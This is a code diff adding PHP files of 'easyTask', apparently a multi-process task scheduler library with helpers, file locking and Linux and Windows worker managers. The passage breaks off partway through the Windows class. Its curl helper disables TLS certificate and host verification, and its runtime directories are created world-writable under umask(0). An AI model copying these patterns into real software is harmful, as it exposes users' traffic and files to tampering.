+namespace easyTask;
+
+use easyTask\Exception\ErrorException;
+use \Exception as Exception;
+use \Throwable as Throwable;
+
+/**
+ * Class Helper
+ * @package easyTask
+ */
+class Helper
+{
+    /**
+     * 睡眠函数
+     * @param int $time 时间
+     * @param int $type 类型:1秒 2毫秒
+     */
+    public static function sleep($time, $type = 1)
+    {
+        if ($type == 2) $time *= 1000;
+        $type == 1 ? sleep($time) : usleep($time);
+    }
+
+    /**
+     * 设置进程标题
+     * @param string $title
+     */
+    public static function cli_set_process_title($title)
+    {
+        set_error_handler(function () {
+        });
+        if (function_exists('cli_set_process_title')) {
+            cli_set_process_title($title);
+        }
+        restore_error_handler();
+    }
+
+    /**
+     * 设置掩码
+     */
+    public static function setMask()
+    {
+        umask(0);
+    }
+
+    /**
+     * 设置代码页
+     * @param int $code
+     */
+    public static function setCodePage($code = 65001)
+    {
+        $ds = DIRECTORY_SEPARATOR;
+        $codePageBinary = "C:{$ds}Windows{$ds}System32{$ds}chcp.com";
+        if (file_exists($codePageBinary) && static::canUseExcCommand()) {
+            @shell_exec("{$codePageBinary} {$code}");
+        }
+    }
+
+    /**
+     * 获取命令行输入
+     * @param int $type
+     * @return string|array
+     */
+    public static function getCliInput($type = 1)
+    {
+        //输入参数
+        $argv = $_SERVER['argv'];
+
+        //组装PHP路径
+        array_unshift($argv, Env::get('phpPath'));
+
+        //自动校正
+        foreach ($argv as $key => $value) {
+            if (file_exists($value)) {
+                $argv[$key] = realpath($value);
+            }
+        }
+
+        //返回
+        if ($type == 1) {
+            return join(' ', $argv);
+        }
+        return $argv;
+    }
+
+    /**
+     * 设置PHP二进制文件
+     * @param string $path
+     */
+    public static function setPhpPath($path = '')
+    {
+        if (!$path) $path = self::getBinary();;
+        Env::set('phpPath', $path);
+    }
+
+    /**
+     * 获取进程二进制文件
+     * @return string
+     */
+    public static function getBinary()
+    {
+        return PHP_BINARY;
+    }
+
+    /**
+     * 是否Win平台
+     * @return bool
+     */
+    public static function isWin()
+    {
+        return (DIRECTORY_SEPARATOR == '\\') ? true : false;
+    }
+
+    /**
+     * 开启异步信号
+     * @return bool
+     */
+    public static function openAsyncSignal()
+    {
+        return pcntl_async_signals(true);
+    }
+
+    /**
+     * 是否支持异步信号
+     * @return bool
+     */
+    public static function canUseAsyncSignal()
+    {
+        return (function_exists('pcntl_async_signals'));
+    }
+
+    /**
+     * 是否支持event事件
+     * @return bool
+     */
+    public static function canUseEvent()
+    {
+        return (extension_loaded('event'));
+    }
+
+    /**
+     * 是否可执行命令
+     * @return bool
+     */
+    public static function canUseExcCommand()
+    {
+        return function_exists('shell_exec');
+    }
+
+    /**
+     * 获取运行时目录
+     * @return  string
+     */
+    public static function getRunTimePath()
+    {
+        $path = Env::get('runTimePath') ? Env::get('runTimePath') : sys_get_temp_dir();
+        if (!is_dir($path)) {
+            static::showSysError('please set runTimePath');
+        }
+        $path = $path . DIRECTORY_SEPARATOR . Env::get('prefix') . DIRECTORY_SEPARATOR;
+        $path = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $path);
+        return $path;
+    }
+
+    /**
+     * 获取Win进程目录
+     * @return  string
+     */
+    public static function getWinPath()
+    {
+        return Helper::getRunTimePath() . 'Win' . DIRECTORY_SEPARATOR;
+    }
+
+    /**
+     * 获取日志目录
+     * @return  string
+     */
+    public static function getLogPath()
+    {
+        return Helper::getRunTimePath() . 'Log' . DIRECTORY_SEPARATOR;
+    }
+
+    /**
+     * 获取进程命令通信目录
+     * @return  string
+     */
+    public static function getCsgPath()
+    {
+        return Helper::getRunTimePath() . 'Csg' . DIRECTORY_SEPARATOR;
+    }
+
+    /**
+     * 获取进程队列目录
+     * @return  string
+     */
+    public static function getQuePath()
+    {
+        return Helper::getRunTimePath() . 'Que' . DIRECTORY_SEPARATOR;
+    }
+
+    /**
+     * 获取进程锁目录
+     * @return  string
+     */
+    public static function getLokPath()
+    {
+        return Helper::getRunTimePath() . 'Lok' . DIRECTORY_SEPARATOR;
+    }
+
+    /**
+     * 获取标准输入输出目录
+     * @return  string
+     */
+    public static function getStdPath()
+    {
+        return Helper::getRunTimePath() . 'Std' . DIRECTORY_SEPARATOR;
+    }
+
+    /**
+     * 初始化所有目录
+     */
+    public static function initAllPath()
+    {
+        $paths = [
+            static::getRunTimePath(),
+            static::getWinPath(),
+            static::getLogPath(),
+            static::getLokPath(),
+            static::getQuePath(),
+            static::getCsgPath(),
+            static::getStdPath(),
+        ];
+        foreach ($paths as $path) {
+            if (!is_dir($path)) {
+                mkdir($path, 0777, true);
+            }
+        }
+    }
+
+    /**
+     * 保存标准输入|输出
+     * @param string $char 输入|输出
+     */
+    public static function saveStdChar($char)
+    {
+        $path = static::getStdPath();
+        $file = $path . date('Y_m_d') . '.std';
+        $char = static::convert_char($char);
+        file_put_contents($file, $char, FILE_APPEND);
+    }
+
+    /**
+     * 保存日志
+     * @param string $message
+     */
+    public static function writeLog($message)
+    {
+        //日志文件
+        $path = Helper::getLogPath();
+        $file = $path . date('Y_m_d') . '.log';
+
+        //加锁保存
+        $message = static::convert_char($message);
+        file_put_contents($file, $message, FILE_APPEND | LOCK_EX);
+    }
+
+    /**
+     * 保存类型日志
+     * @param string $message
+     * @param string $type
+     * @param bool $isExit
+     */
+    public static function writeTypeLog($message, $type = 'info', $isExit = false)
+    {
+        //格式化信息
+        $text = Helper::formatMessage($message, $type);
+
+        //记录日志
+        static::writeLog($text);
+        if ($isExit) exit();
+    }
+
+    /**
+     * 编码转换
+     * @param string $char
+     * @param string $coding
+     * @return string
+     */
+    public static function convert_char($char, $coding = 'UTF-8')
+    {
+        $encode_arr = ['UTF-8', 'ASCII', 'GBK', 'GB2312', 'BIG5', 'JIS', 'eucjp-win', 'sjis-win', 'EUC-JP'];
+        $encoded = mb_detect_encoding($char, $encode_arr);
+        if ($encoded) {
+            $char = mb_convert_encoding($char, $coding, $encoded);
+        }
+        return $char;
+    }
+
+    /**
+     * 格式化异常信息
+     * @param ErrorException|Exception|Throwable $exception
+     * @param string $type
+     * @return string
+     */
+    public static function formatException($exception, $type = 'exception')
+    {
+        //参数
+        $pid = getmypid();
+        $date = date('Y/m/d H:i:s', time());
+
+        //组装
+        return $date . " [$type] : errStr:" . $exception->getMessage() . ',errFile:' . $exception->getFile() . ',errLine:' . $exception->getLine() . " (pid:$pid)" . PHP_EOL;
+    }
+
+    /**
+     * 格式化异常信息
+     * @param string $message
+     * @param string $type
+     * @return string
+     */
+    public static function formatMessage($message, $type = 'error')
+    {
+        //参数
+        $pid = getmypid();
+        $date = date('Y/m/d H:i:s', time());
+
+        //组装
+        return $date . " [$type] : " . $message . " (pid:$pid)" . PHP_EOL;
+    }
+
+    /**
+     * 检查任务时间是否合法
+     * @param mixed $time
+     */
+    public static function checkTaskTime($time)
+    {
+        if (is_int($time)) {
+            if ($time < 0) static::showSysError('time must be greater than or equal to 0');
+        } elseif (is_float($time)) {
+            if (!static::canUseEvent()) static::showSysError('please install php_event.(dll/so) extend for using milliseconds');
+        } else {
+            static::showSysError('time parameter is an unsupported type');
+        }
+    }
+
+    /**
+     * 输出字符串
+     * @param string $char
+     * @param bool $exit
+     */
+    public static function output($char, $exit = false)
+    {
+        echo $char;
+        if ($exit) exit();
+    }
+
+    /**
+     * 输出信息
+     * @param string $message
+     * @param bool $isExit
+     * @param string $type
+     * @throws
+     */
+    public static function showInfo($message, $isExit = false, $type = 'info')
+    {
+        //格式化信息
+        $text = static::formatMessage($message, $type);
+
+        //记录日志
+        static::writeLog($text);
+
+        //输出信息
+        static::output($text, $isExit);
+    }
+
+    /**
+     * 输出错误
+     * @param string $errStr
+     * @param bool $isExit
+     * @param string $type
+     * @param bool $log
+     * @throws
+     */
+    public static function showError($errStr, $isExit = true, $type = 'error', $log = true)
+    {
+        //格式化信息
+        $text = static::formatMessage($errStr, $type);
+
+        //记录日志
+        if ($log) static::writeLog($text);
+
+        //输出信息
+        static::output($text, $isExit);
+    }
+
+    /**
+     * 输出系统错误
+     * @param string $errStr
+     * @param bool $isExit
+     * @param string $type
+     * @throws
+     */
+    public static function showSysError($errStr, $isExit = true, $type = 'warring')
+    {
+        //格式化信息
+        $text = static::formatMessage($errStr, $type);
+
+        //输出信息
+        static::output($text, $isExit);
+    }
+
+    /**
+     * 输出异常
+     * @param mixed $exception
+     * @param string $type
+     * @param bool $isExit
+     * @throws
+     */
+    public static function showException($exception, $type = 'exception', $isExit = true)
+    {
+        //格式化信息
+        $text = static::formatException($exception, $type);
+
+        //记录日志
+        Helper::writeLog($text);
+
+        //输出信息
+        static::output($text, $isExit);
+    }
+
+    /**
+     * 控制台输出表格
+     * @param array $data
+     * @param boolean $exit
+     */
+    public static function showTable($data, $exit = true)
+    {
+        //提取表头
+        $header = array_keys($data['0']);
+
+        //组装数据
+        foreach ($data as $key => $row) {
+            $data[$key] = array_values($row);
+        }
+
+        //输出表格
+        $table = new Table();
+        $table->setHeader($header);
+        $table->setStyle('box');
+        $table->setRows($data);
+        $render = static::convert_char($table->render());
+        if ($exit) {
+            exit($render);
+        }
+        echo($render);
+    }
+
+    /**
+     * 通过Curl方式提交数据
+     *
+     * @param string $url 目标URL
+     * @param null $data 提交的数据
+     * @param bool $return_array 是否转成数组
+     * @param null $header 请求头信息 如:array("Content-Type: application/json")
+     *
+     * @return array|mixed
+     */
+    public static function curl($url, $data = null, $return_array = false, $header = null)
+    {
+        //初始化curl
+        $curl = curl_init();
+
+        //设置超时
+        curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+        curl_setopt($curl, CURLOPT_URL, $url);
+        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
+        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
+        if (is_array($header)) {
+            curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
+        }
+        if ($data) {
+            curl_setopt($curl, CURLOPT_POST, true);
+            curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
+        }
+        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
+
+        //运行curl,获取结果
+        $result = @curl_exec($curl);
+
+        //关闭句柄
+        curl_close($curl);
+
+        //转成数组
+        if ($return_array) {
+            return json_decode($result, true);
+        }
+
+        //返回结果
+        return $result;
+    }
+}

+ 52 - 0
extend/easyTask/Lock.php

@@ -0,0 +1,52 @@
+<?php
+namespace easyTask;
+
+use \Closure as Closure;
+
+/**
+ * Class Lock
+ * @package easyTask
+ */
+class Lock
+{
+    /**
+     * 锁文件
+     * @var string
+     */
+    private $file;
+
+    /**
+     * 构造函数
+     * @param string $name
+     */
+    public function __construct($name = 'lock')
+    {
+        //初始化文件
+        $path = Helper::getLokPath();
+        $this->file = $path . md5($name);
+        if (!file_exists($this->file))
+        {
+            @file_put_contents($this->file, '');
+        }
+    }
+
+    /**
+     * 加锁执行
+     * @param Closure $func
+     * @param bool $block
+     * @return mixed
+     */
+    public function execute($func, $block = true)
+    {
+        $fp = fopen($this->file, 'r');
+        $is_flock = $block ? flock($fp, LOCK_EX) : flock($fp, LOCK_EX | LOCK_NB);
+        $call_back = null;
+        if ($is_flock)
+        {
+            $call_back = $func();
+            flock($fp, LOCK_UN);
+        }
+        fclose($fp);
+        return $call_back;
+    }
+}

+ 307 - 0
extend/easyTask/Process/Linux.php

@@ -0,0 +1,307 @@
+<?php
+namespace easyTask\Process;
+
+use EasyTask\Env;
+use EasyTask\Helper;
+use \Closure as Closure;
+use \Throwable as Throwable;
+
+/**
+ * Class Linux
+ * @package EasyTask\Process
+ */
+class Linux extends Process
+{
+    /**
+     * 进程执行记录
+     * @var array
+     */
+    protected $processList = [];
+
+    /**
+     * 构造函数
+     * @var array $taskList
+     */
+    public function __construct($taskList)
+    {
+        parent::__construct($taskList);
+        if (Env::get('canAsync'))
+        {
+            Helper::openAsyncSignal();
+        }
+    }
+
+    /**
+     * 开始运行
+     */
+    public function start()
+    {
+        //发送命令
+        $this->commander->send([
+            'type' => 'start',
+            'msgType' => 2
+        ]);
+
+        //异步处理
+        if (Env::get('daemon'))
+        {
+            Helper::setMask();
+            $this->fork(
+                function () {
+                    $sid = posix_setsid();
+                    if ($sid < 0)
+                    {
+                        Helper::showError('set child processForManager failed,please try again');
+                    }
+                    $this->allocate();
+                },
+                function () {
+                    pcntl_wait($status, WNOHANG);
+                    $this->status();
+                }
+            );
+        }
+
+        //同步处理
+        $this->allocate();
+    }
+
+    /**
+     * 分配进程处理任务
+     */
+    protected function allocate()
+    {
+        foreach ($this->taskList as $item)
+        {
+            //提取参数
+            $prefix = Env::get('prefix');
+            $item['data'] = date('Y-m-d H:i:s');
+            $item['alas'] = "{$prefix}_{$item['alas']}";
+            $used = $item['used'];
+
+            //根据Worker数分配进程
+            for ($i = 0; $i < $used; $i++)
+            {
+                $this->forkItemExec($item);
+            }
+        }
+
+        //常驻守护
+        $this->daemonWait();
+    }
+
+    /**
+     * 创建子进程
+     * @param Closure $childInvoke
+     * @param Closure $mainInvoke
+     */
+    protected function fork($childInvoke, $mainInvoke)
+    {
+        $pid = pcntl_fork();
+        if ($pid == -1)
+        {
+            Helper::showError('fork child process failed,please try again');
+        }
+        elseif ($pid)
+        {
+            $mainInvoke($pid);
+        }
+        else
+        {
+            $childInvoke();
+        }
+    }
+
+    /**
+     * 创建任务执行的子进程
+     * @param array $item
+     */
+    protected function forkItemExec($item)
+    {
+        $this->fork(
+            function () use ($item) {
+                $this->invoker($item);
+            },
+            function ($pid) use ($item) {
+                //write_log
+                $ppid = posix_getpid();
+                $this->processList[] = ['pid' => $pid, 'name' => $item['alas'], 'item' => $item, 'started' => $item['data'], 'time' => $item['time'], 'status' => 'active', 'ppid' => $ppid];
+                //set not block
+                pcntl_wait($status, WNOHANG);
+            }
+        );
+    }
+
+    /**
+     * 执行器
+     * @param array $item
+     * @throws Throwable
+     */
+    protected function invoker($item)
+    {
+        //输出信息
+        $item['ppid'] = posix_getppid();
+        $text = "this worker {$item['alas']}";
+        Helper::writeTypeLog("$text is start");
+
+        //进程标题
+        Helper::cli_set_process_title($item['alas']);
+
+        //Kill信号
+        pcntl_signal(SIGTERM, function () use ($text) {
+            Helper::writeTypeLog("listened kill command, $text not to exit the program for safety");
+        });
+
+        //执行任务
+        $this->executeInvoker($item);
+    }
+
+    /**
+     * 通过闹钟信号执行
+     * @param array $item
+     */
+    protected function invokeByDefault($item)
+    {
+        //安装信号管理
+        pcntl_signal(SIGALRM, function () use ($item) {
+            pcntl_alarm($item['time']);
+            $this->execute($item);
+        }, false);
+
+        //发送闹钟信号
+        pcntl_alarm($item['time']);
+
+        //挂起进程(同步调用信号,异步CPU休息)
+        while (true)
+        {
+            //CPU休息
+            Helper::sleep(1);
+
+            //信号处理(同步/异步)
+            if (!Env::get('canAsync')) pcntl_signal_dispatch();
+        }
+    }
+
+    /**
+     * 检查常驻进程是否存活
+     * @param array $item
+     */
+    protected function checkDaemonForExit($item)
+    {
+        if (!posix_kill($item['ppid'], 0))
+        {
+            Helper::writeTypeLog("listened exit command, this worker {$item['alas']} is exiting safely", 'info', true);
+        }
+    }
+
+    /**
+     * 守护进程常驻
+     */
+    protected function daemonWait()
+    {
+        //设置进程标题
+        Helper::cli_set_process_title(Env::get('prefix'));
+
+        //输出信息
+        $text = "this manager";
+        Helper::writeTypeLog("$text is start");
+        if (!Env::get('daemon'))
+        {
+            Helper::showTable($this->processStatus(), false);
+            Helper::showInfo('start success,press ctrl+c to stop');
+        }
+
+        //Kill信号
+        pcntl_signal(SIGTERM, function () use ($text) {
+            Helper::writeTypeLog("listened kill command $text is exiting safely", 'info', true);
+        });
+
+        //挂起进程
+        while (true)
+        {
+            //CPU休息
+            Helper::sleep(1);
+
+            //接收命令start/status/stop
+            $this->commander->waitCommandForExecute(2, function ($command) use ($text) {
+                $exitText = "listened exit command, $text is exiting safely";
+                $statusText = "listened status command, $text is reported";
+                $forceExitText = "listened exit command, $text is exiting unsafely";
+                if ($command['type'] == 'start')
+                {
+                    if ($command['time'] > $this->startTime)
+                    {
+                        Helper::writeTypeLog($forceExitText);
+                        posix_kill(0, SIGKILL);
+                    }
+                }
+                if ($command['type'] == 'status')
+                {
+                    $report = $this->processStatus();
+                    $this->commander->send([
+                        'type' => 'status',
+                        'msgType' => 1,
+                        'status' => $report,
+                    ]);
+                    Helper::writeTypeLog($statusText);
+                }
+                if ($command['type'] == 'stop')
+                {
+                    if ($command['force'])
+                    {
+                        Helper::writeTypeLog($forceExitText);
+                        posix_kill(0, SIGKILL);
+                    }
+                    else
+                    {
+                        Helper::writeTypeLog($exitText);
+                        exit();
+                    }
+                }
+
+            }, $this->startTime);
+
+            //信号调度
+            if (!Env::get('canAsync')) pcntl_signal_dispatch();
+
+            //检查进程
+            if (Env::get('canAutoRec')) $this->processStatus();
+        }
+    }
+
+    /**
+     * 查看进程状态
+     * @return array
+     */
+    protected function processStatus()
+    {
+        $report = [];
+        foreach ($this->processList as $key => $item)
+        {
+            //提取参数
+            $pid = $item['pid'];
+
+            //进程状态
+            $rel = pcntl_waitpid($pid, $status, WNOHANG);
+            if ($rel == -1 || $rel > 0)
+            {
+                //标记状态
+                $item['status'] = 'stop';
+
+                //进程退出,重新fork
+                if (Env::get('canAutoRec'))
+                {
+                    $this->forkItemExec($item['item']);
+                    Helper::writeTypeLog("the worker {$item['name']}(pid:{$pid}) is stop,try to fork a new one");
+                    unset($this->processList[$key]);
+                }
+            }
+
+            //记录状态
+            unset($item['item']);
+            $report[] = $item;
+        }
+
+        return $report;
+    }
+}

+ 252 - 0
extend/easyTask/Process/Process.php

@@ -0,0 +1,252 @@
+<?php
+
+namespace easyTask\Process;
+
+use easyTask\Command;
+use easyTask\Env;
+use easyTask\Error;
+use easyTask\Helper;
+use easyTask\Terminal;
+use \Event as Event;
+use \EventBase as EventBase;
+use \EventConfig as EventConfig;
+use \Exception as Exception;
+use \Throwable as Throwable;
+
+/**
+ * Class Process
+ * @package easyTask\Process
+ */
+abstract class Process
+{
+    /**
+     * 进程启动时间
+     * @var int
+     */
+    protected $startTime;
+
+    /**
+     * 任务总数
+     * @var int
+     */
+    protected $taskCount;
+
+    /**
+     * 任务列表
+     * @var array
+     */
+    protected $taskList;
+
+    /**
+     * 进程命令管理
+     * @var Command
+     */
+    protected $commander;
+
+    /**
+     * 构造函数
+     * @param array $taskList
+     */
+    public function __construct($taskList)
+    {
+        $this->startTime = time();
+        $this->taskList = $taskList;
+        $this->setTaskCount();
+        $this->commander = new Command();
+    }
+
+    /**
+     * 开始运行
+     */
+    abstract public function start();
+
+    /**
+     * 运行状态
+     */
+    public function status()
+    {
+        //发送命令
+        $this->commander->send([
+            'type' => 'status',
+            'msgType' => 2
+        ]);
+        $this->masterWaitExit();
+    }
+
+    /**
+     * 停止运行
+     * @param bool $force 是否强制
+     */
+    public function stop($force = false)
+    {
+        //发送命令
+        $force = $force ?: true;
+        $this->commander->send([
+            'type' => 'stop',
+            'force' => $force,
+            'msgType' => 2
+        ]);
+    }
+
+    /**
+     * 初始化任务数量
+     */
+    protected function setTaskCount()
+    {
+        $count = 0;
+        foreach ($this->taskList as $key => $item) {
+            $count += (int)$item['used'];
+        }
+        $this->taskCount = $count;
+    }
+
+    /**
+     * 检查是否可写标准输出日志
+     * @return bool
+     */
+    protected function canWriteStd()
+    {
+        return Env::get('daemon') && !Env::get('closeStdOutLog');
+    }
+
+    /**
+     * 执行任务代码
+     * @param array $item
+     * @throws
+     */
+    protected function execute($item)
+    {
+        //根据任务类型执行
+        $daemon = Env::get('daemon');
+
+        //Std_Start
+        if ($this->canWriteStd()) ob_start();
+        try {
+            $type = $item['type'];
+            switch ($type) {
+                case 1:
+                    $func = $item['func'];
+                    $func();
+                    break;
+                case 2:
+                    call_user_func([$item['class'], $item['func']]);
+                    break;
+                case 3:
+                    $object = new $item['class']();
+                    call_user_func([$object, $item['func']]);
+                    break;
+                default:
+//                    原始代码保留
+//                    $result = shell_exec($item['command']);
+//                    if ($result) {
+//                        echo $result . PHP_EOL;
+//                        Helper::output($result);
+//                    }
+//                    if ($result === false) {
+//                        $errorResult = 'failed to execute ' . $item['alas'] . ' task' . PHP_EOL;
+//                        Helper::output($errorResult);
+//                    }
+
+                    // 修改运行方式 为Terminal
+                    Terminal::instance(1, $item['alas'])->exec($item['command']);
+            }
+
+        } catch (Exception $exception) {
+            if (Helper::isWin()) {
+                Helper::showException($exception, 'exception', !$daemon);
+            } else {
+                if (!$daemon) throw $exception;
+                Helper::writeLog(Helper::formatException($exception));
+            }
+        } catch (Throwable $exception) {
+            if (Helper::isWin()) {
+                Helper::showException($exception, 'exception', !$daemon);
+            } else {
+                if (!$daemon) throw $exception;
+                Helper::writeLog(Helper::formatException($exception));
+            }
+        }
+
+        //Std_End
+        if ($this->canWriteStd()) {
+            $stdChar = ob_get_contents();
+            if ($stdChar) Helper::saveStdChar($stdChar);
+            ob_end_clean();
+        }
+
+        //检查常驻进程存活
+        $this->checkDaemonForExit($item);
+    }
+
+    /**
+     * 执行任务
+     * @param array $item
+     * @throws Throwable
+     */
+    protected function executeInvoker($item)
+    {
+        if ($item['time'] === 0) {
+            $this->invokerByDirect($item);
+        } else {
+            Env::get('canEvent') ? $this->invokeByEvent($item) : $this->invokeByDefault($item);
+        }
+    }
+
+    /**
+     * 通过Event事件执行
+     * @param array $item
+     */
+    protected function invokeByEvent($item)
+    {
+        //创建Event事件
+        $eventConfig = new EventConfig();
+        $eventBase = new EventBase($eventConfig);
+        $event = new Event($eventBase, -1, Event::TIMEOUT | Event::PERSIST, function () use ($item) {
+            try {
+                $this->execute($item);
+            } catch (Throwable $exception) {
+                $type = 'exception';
+                Error::report($type, $exception);
+                $this->checkDaemonForExit($item);
+            }
+        });
+
+        //添加事件
+        $event->add($item['time']);
+
+        //事件循环
+        $eventBase->loop();
+    }
+
+    /**
+     * 普通执行
+     * @param array $item
+     * @throws Throwable
+     */
+    protected function invokerByDirect($item)
+    {
+        $this->execute($item);
+        exit;
+    }
+
+    /**
+     * 主进程等待结束退出
+     */
+    protected function masterWaitExit()
+    {
+        $i = $this->taskCount + 3;
+        while ($i--) {
+            //接收汇报
+            $this->commander->waitCommandForExecute(1, function ($report) {
+                if ($report['type'] == 'status' && $report['status']) {
+                    Helper::showTable($report['status']);
+                }
+            }, $this->startTime);
+
+            //CPU休息
+            Helper::sleep(1);
+        }
+        Helper::showInfo('this cpu is too busy,please use status command try again');
+        exit;
+    }
+}

+ 459 - 0
extend/easyTask/Process/Win.php

@@ -0,0 +1,459 @@
+<?php
+namespace easyTask\Process;
+
+use easyTask\Wts;
+use easyTask\Wpc;
+use easyTask\Env;
+use easyTask\Helper;
+use \Exception as Exception;
+use \Throwable as Throwable;
+
+/**
+ * Class Win
+ * @package easyTask\Process
+ */
+class Win extends Process
+{
+    /**
+     * Wts服务
+     * @var Wts
+     */
+    protected $wts;
+
+    /**
+     * 虚拟进程列表
+     * @var array
+     */
+    protected $workerList;
+
+    /**
+     * 实体进程容器
+     * @var array
+     */
+    protected $wpcContainer;
+
+    /**
+     * AutoRec事件
+     * @var bool
+     */
+    protected $autoRecEvent;
+
+    /**
+     * 构造函数
+     * @param array $taskList
+     */
+    public function __construct($taskList)
+    {
+        $this->wts = new Wts();
+        parent::__construct($taskList);
+    }
+
+    /**
+     * 开始运行
+     */
+    public function start()
+    {
+        //构建基础
+        $this->make();
+
+        //启动检查
+        $this->checkForRun();
+
+        //进程分配
+        $func = function ($name) {
+            $this->executeByProcessName($name);
+        };
+        if (!$this->wts->allocateProcess($func))
+        {
+            Helper::showError('unexpected error, process has been allocated');
+        }
+    }
+
+    /**
+     * 启动检查
+     */
+    protected function checkForRun()
+    {
+        if (!Env::get('phpPath'))
+        {
+            Helper::showError('please use setPhpPath api to set phpPath');
+        }
+        if (!$this->chkCanStart())
+        {
+            Helper::showError('please close the running process first');
+        }
+    }
+
+    /**
+     * 检查进程
+     * @return bool
+     */
+    protected function chkCanStart()
+    {
+        $workerList = $this->workerList;
+        foreach ($workerList as $name => $item)
+        {
+            $status = $this->wts->getProcessStatus($name);
+            if (!$status)
+            {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * 跟进进程名称执行任务
+     * @param string $name
+     * @throws Exception|Throwable
+     */
+    protected function executeByProcessName($name)
+    {
+        switch ($name)
+        {
+            case 'master':
+                $this->master();
+                break;
+            case 'manager':
+                $this->manager();
+                break;
+            default:
+                $this->invoker($name);
+        }
+    }
+
+    /**
+     * 构建任务
+     */
+    protected function make()
+    {
+        $list = [];
+        if (!$this->wts->getProcessStatus('manager'))
+        {
+            $list = ['master', 'manager'];
+        }
+        foreach ($list as $name)
+        {
+            $this->wts->joinProcess($name);
+        }
+        foreach ($this->taskList as $key => $item)
+        {
+            //提取参数
+            $alas = $item['alas'];
+            $used = $item['used'];
+
+            //根据Worker数构建
+            for ($i = 0; $i < $used; $i++)
+            {
+                $name = $item['name'] = $alas . '___' . $i;
+                $this->workerList[$name] = $item;
+                $this->wts->joinProcess($name);
+            }
+        }
+    }
+
+    /**
+     * 主进程
+     * @throws Exception
+     */
+    protected function master()
+    {
+        //创建常驻进程
+        $this->forkItemExec();
+
+        //查询状态
+        $i = $this->taskCount + 15;
+        while ($i--)
+        {
+            $status = $this->wts->getProcessStatus('manager');
+            if ($status)
+            {
+                $this->status();
+                break;
+            }
+            Helper::sleep(1);
+        }
+    }
+
+    /**
+     * 常驻进程
+     */
+    protected function manager()
+    {
+        //分配子进程
+        $this->allocate();
+
+        //后台常驻运行
+        $this->daemonWait();
+    }
+
+    /**
+     * 分配子进程
+     */
+    protected function allocate()
+    {
+        //清理进程信息
+        $this->wts->cleanProcessInfo();
+
+        foreach ($this->taskList as $key => $item)
+        {
+            //提取参数
+            $used = $item['used'];
+
+            //根据Worker数创建子进程
+            for ($i = 0; $i < $used; $i++)
+            {
+                $this->joinWpcContainer($this->forkItemExec());
+            }
+        }
+    }
+
+    /**
+     * 注册实体进程
+     * @param Wpc $wpc
+     */
+    protected function joinWpcContainer($wpc)
+    {
+        $this->wpcContainer[] = $wpc;
+        foreach ($this->wpcContainer as $key => $wpc)
+        {
+            if ($wpc->hasExited())
+            {
+                unset($this->wpcContainer[$key]);
+            }
+        }
+    }
+
+    /**
+     * 创建任务执行子进程
+     * @return Wpc
+     */
+    protected function forkItemExec()
+    {
+        $wpc = null;
+        try
+        {
+            //提取参数
+            $argv = Helper::getCliInput(2);
+            $file = array_shift($argv);;
+            $char = join(' ', $argv);
+            $work = dirname(array_shift($argv));
+            $style = Env::get('daemon') ? 1 : 0;
+
+            //创建进程
+            $wpc = new Wpc();
+            $wpc->setFile($file);
+            $wpc->setArgument($char);
+            $wpc->setStyle($style);
+            $wpc->setWorkDir($work);
+            $pid = $wpc->start();
+            if (!$pid) Helper::showError('create process failed,please try again', true);
+        }
+        catch (Exception $exception)
+        {
+            Helper::showError(Helper::convert_char($exception->getMessage()), true);
+        }
+
+        return $wpc;
+    }
+
+    /**
+     * 执行器
+     * @param string $name 任务名称
+     * @throws Throwable
+     */
+    protected function invoker($name)
+    {
+        //提取字典
+        $taskDict = $this->workerList;
+        if (!isset($taskDict[$name]))
+        {
+            Helper::showError("the task name $name is not exist" . json_encode($taskDict));
+        }
+
+        //提取Task字典
+        $item = $taskDict[$name];
+
+        //输出信息
+        $pid = getmypid();
+        $title = Env::get('prefix') . '_' . $item['alas'];
+        Helper::showInfo("this worker $title is start");
+
+        //设置进程标题
+        Helper::cli_set_process_title($title);
+
+        //保存进程信息
+        $item['pid'] = $pid;
+        $this->wts->saveProcessInfo([
+            'pid' => $pid,
+            'name' => $item['name'],
+            'alas' => $item['alas'],
+            'started' => date('Y-m-d H:i:s', $this->startTime),
+            'time' => $item['time']
+        ]);
+
+        //执行任务
+        $this->executeInvoker($item);
+    }
+
+    /**
+     * 通过默认定时执行
+     * @param array $item 执行项目
+     * @throws Throwable
+     */
+    protected function invokeByDefault($item)
+    {
+        while (true)
+        {
+            //CPU休息
+            Helper::sleep($item['time']);
+
+            //执行任务
+            $this->execute($item);
+        }
+        exit;
+    }
+
+    /**
+     * 检查常驻进程是否存活
+     * @param array $item
+     */
+    protected function checkDaemonForExit($item)
+    {
+        //检查进程存活
+        $status = $this->wts->getProcessStatus('manager');
+        if (!$status)
+        {
+            $text = Env::get('prefix') . '_' . $item['alas'];
+            Helper::showInfo("listened exit command, this worker $text is exiting safely", true);
+        }
+    }
+
+    /**
+     * 后台常驻运行
+     */
+    protected function daemonWait()
+    {
+        //进程标题
+        Helper::cli_set_process_title(Env::get('prefix'));
+
+        //输出信息
+        $text = "this manager";
+        Helper::showInfo("$text is start");;
+
+        //挂起进程
+        while (true)
+        {
+            //CPU休息
+            Helper::sleep(1);
+
+            //接收命令status/stop
+            $this->commander->waitCommandForExecute(2, function ($command) use ($text) {
+                $commandType = $command['type'];
+                switch ($commandType)
+                {
+                    case 'status':
+                        $this->commander->send([
+                            'type' => 'status',
+                            'msgType' => 1,
+                            'status' => $this->getReport(),
+                        ]);
+                        Helper::showInfo("listened status command, $text is reported");
+                        break;
+                    case 'stop':
+                        if ($command['force']) $this->stopWorkerByForce();
+                        Helper::showInfo("listened exit command, $text is exiting safely", true);
+                        break;
+                }
+            }, $this->startTime);
+
+            //检查进程
+            if (Env::get('canAutoRec'))
+            {
+                $this->getReport(true);
+                if ($this->autoRecEvent)
+                {
+                    $this->autoRecEvent = false;
+                }
+            }
+        }
+    }
+
+    /**
+     * 获取报告
+     * @param bool $output
+     * @return array
+     * @throws
+     */
+    protected function getReport($output = false)
+    {
+        $report = $this->workerStatus($this->taskCount);
+        foreach ($report as $key => $item)
+        {
+            if ($item['status'] == 'stop' && Env::get('canAutoRec'))
+            {
